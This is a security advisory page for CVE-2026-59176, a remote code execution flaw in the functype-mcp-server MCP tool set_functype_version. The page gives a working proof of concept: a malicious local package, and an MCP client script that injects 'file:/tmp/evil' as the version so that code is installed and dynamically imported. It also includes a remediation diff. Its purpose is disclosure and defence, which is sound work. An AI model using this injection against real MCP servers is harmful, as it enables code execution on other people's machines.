functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import
CVE-2026-59176 · GHSA-wcjj-9m6g-2fr2 · published 9 Sept 2026
How serious is it
- Severity: high, CVSS score 7.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-59176?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
functype-mcp-server(npm) <= 1.4.3
How to check
- Run
npm ls functype-mcp-serverin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
functype-mcp-serverto 1.4.4 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import
### Summary
The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).
### Details
The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).
**Source (user input accepted without validation):**
```ts
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),
```
Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.
**Sink 1 — arbitrary package installation:**
```ts
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
const spec = `functype@${args.version}`
try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
```
`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.
**Sink 2 — dynamic import executes installed package code:**
```ts
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
const resolvedPath = require.resolve("functype/cli")
cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}
```
`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time.
**Data flow summary:**
1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required.
2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source).
3. `index.ts:123` — `functype@${args.version}` constructed without sanitization.
4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install).
5. `index.ts:134` — `initDocsData(true)` called immediately.
6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE).
### PoC
**Step 1 — Prepare the attacker-controlled evil package:**
```bash
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF
```
**Step 2 — Clone and build the victim monorepo at the affected version:**
```bash
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build
```
**Step 3 — Set up an MCP client to deliver the exploit:**
```bash
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
command: "node",
args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
name: "set_functype_version",
arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjs
```
**Step 4 — Verify arbitrary code execution:**
```bash
cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set_functype_version
```
**Dynamic reproduction (Docker):**
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.
```
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import
```
**Recommended remediation:**
```diff
+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}
execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+ return "Invalid functype ve…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2
- github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf
- nvd.nist.gov/vuln/detail/CVE-2026-59176
- github.com/jordanburke/functype/releases/tag/v1.4.4
- github.com/advisories/GHSA-wcjj-9m6g-2fr2
- github.com/jordanburke/functype
Merged from GitHub Advisory Database, OSV. Last updated 3 Nov 2026. All vulnerabilities · RSS · JSON